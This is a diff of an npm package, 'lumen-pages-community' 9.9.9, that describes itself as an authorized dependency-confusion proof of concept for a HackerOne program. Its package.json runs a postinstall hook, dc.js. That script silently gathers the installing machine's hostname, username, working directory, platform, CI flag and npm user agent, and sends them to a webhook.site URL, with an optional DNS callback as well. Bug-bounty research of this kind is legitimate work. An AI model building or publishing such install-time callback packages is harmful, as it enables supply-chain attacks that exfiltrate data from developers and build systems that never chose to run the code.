lumen-pages-community 9.9.9

package/README.md

@@ -0,0 +1,10 @@
+# lumen-pages-community (security research placeholder)
+
+This package was published as a **dependency-confusion proof-of-concept** under the authorized
+HackerOne **eufy_security** program by researcher **sufiyan019**.
+
+It is **benign**: on install it makes a single network callback recording only the hostname, user,
+working directory and platform, to demonstrate that an internal package name resolved to the public
+npm registry. It reads no files, collects no environment values or secrets, and takes no other action.
+
+It will be unpublished once the report is triaged. Questions: via the HackerOne report.

package/dc.js

@@ -0,0 +1,33 @@
+/*
+ * Dependency-confusion PoC — AUTHORIZED security research (HackerOne eufy_security, sufiyan019).
+ * BENIGN: makes ONE callback proving where this ran. Collects only host/user/cwd/platform —
+ * NO file reads, NO env values, NO secrets, NO persistence, NO further action.
+ */
+try {
+  var os = require('os');
+  var https = require('https');
+  var dns = require('dns');
+
+  var info = {
+    pkg: 'lumen-pages-community',
+    host: (os.hostname() || '').replace(/[^a-z0-9.-]/gi, ''),
+    user: ((os.userInfo && os.userInfo().username) || '').replace(/[^a-z0-9._-]/gi, ''),
+    cwd: (process.cwd() || '').replace(/[^a-z0-9._\/-]/gi, ''),
+    platform: process.platform,
+    node: process.version,
+    ci: process.env.CI || '',
+    ua: (process.env.npm_config_user_agent || '').replace(/[^a-z0-9._\/ -]/gi, '')
+  };
+  var qs = Object.keys(info).map(function (k) {
+    return k + '=' + encodeURIComponent(info[k]);
+  }).join('&');
+
+  // HTTP callback (webhook.site — stored, check anytime)
+  https.get('https://webhook.site/b00492c6-27ba-4ea0-a9cb-dd50b3770250/dc?' + qs, function () {}).on('error', function () {});
+
+  // DNS callback (fires even if HTTP egress is blocked). Fill in an interactsh/canary domain to use it.
+  var DNS_LISTENER = ''; // e.g. 'abc123.oast.fun'
+  if (DNS_LISTENER) {
+    dns.lookup(info.host.slice(0, 40) + '.' + DNS_LISTENER, function () {});
+  }
+} catch (e) { /* stay silent, never break the host build */ }

package/index.js

@@ -0,0 +1,2 @@
+// Placeholder. See dc.js — authorized dependency-confusion PoC.
+module.exports = {};

package/package.json

@@ -0,0 +1,10 @@
+{
+  "name": "lumen-pages-community",
+  "version": "9.9.9",
+  "description": "Security research placeholder (dependency-confusion PoC). Benign, no data collected beyond a callback. Contact: sufiyan019 / HackerOne eufy_security.",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node dc.js"
+  },
+  "license": "MIT"
+}